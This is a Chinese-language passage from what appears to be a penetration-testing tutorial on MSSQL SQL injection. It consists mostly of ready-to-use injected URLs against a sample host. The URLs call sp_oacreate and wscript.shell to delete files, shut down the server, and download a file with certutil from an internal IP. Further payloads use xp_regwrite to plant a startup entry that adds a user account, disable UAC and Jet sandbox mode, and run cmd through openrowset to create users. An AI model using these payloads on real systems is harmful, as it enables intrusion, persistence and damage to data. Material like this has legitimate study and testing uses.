http://hackrock.com:8205/?id=1;declare @o int;exec sp_oacreate 'scripting.filesystemobject', @o out;exec sp_oamethod @o, 'deletefile',null,'c:\1.txt'

调用wcsript.shell执行命令

1
2
3
4
5
远程关机
http://hackrock.com:8205/?id=1;declare @shell int;exec sp_oacreate 'wscript.shell',@shell output;exec sp_oamethod @shell,'run',null,'shutdown -p'

远程下载文件
http://hackrock.com:8205/?id=1;declare @shell int;exec sp_oacreate 'wscript.shell',@shell output;exec sp_oamethod @shell,'run',null,'certutil -urlcache -split -f http://192.168.123.42/1.txt c:\1.txt'

xp_regwrite

在sa权限下可以调用xp_rewrite写入注册表。

注册表写入

1
2
3
4
5
将命令写入注册表启动项
http://hackrock.com:8205/?id=1;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','black','REG_SZ','net user test test /add'

关闭UAC
http://hackrock.com:8205/?id=1;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System','EnableLUA','REG_DWORD',0

启用沙盒模式进行命令执行

  • 当执行命令方法无法使用时,可以使用沙盒进行提权。沙盒模式(SandBoxMode)是一种安全功能。在沙盒模式下,Access 只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如Kill和Shell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。
  • OLE DB:OLE DB Driver for SQL Server 是用于访问数据的底层 COM API,是应用程序链接到SQL Server的的驱动程序。
  • 其核心其实是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

注册表关闭沙盒模式

1
http://hackrock.com:8205/?id=1;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

开启外围组件

1
2
http://hackrock.com:8205/?id=1;exec sp_configure 'show advanced options',1;reconfigure;
http://hackrock.com:8205/?id=1;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

执行命令

1
http://hackrock.com:8205/?id=1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user estelle 123456 /add")')

注:该方法在32位系统下会出错

参考资料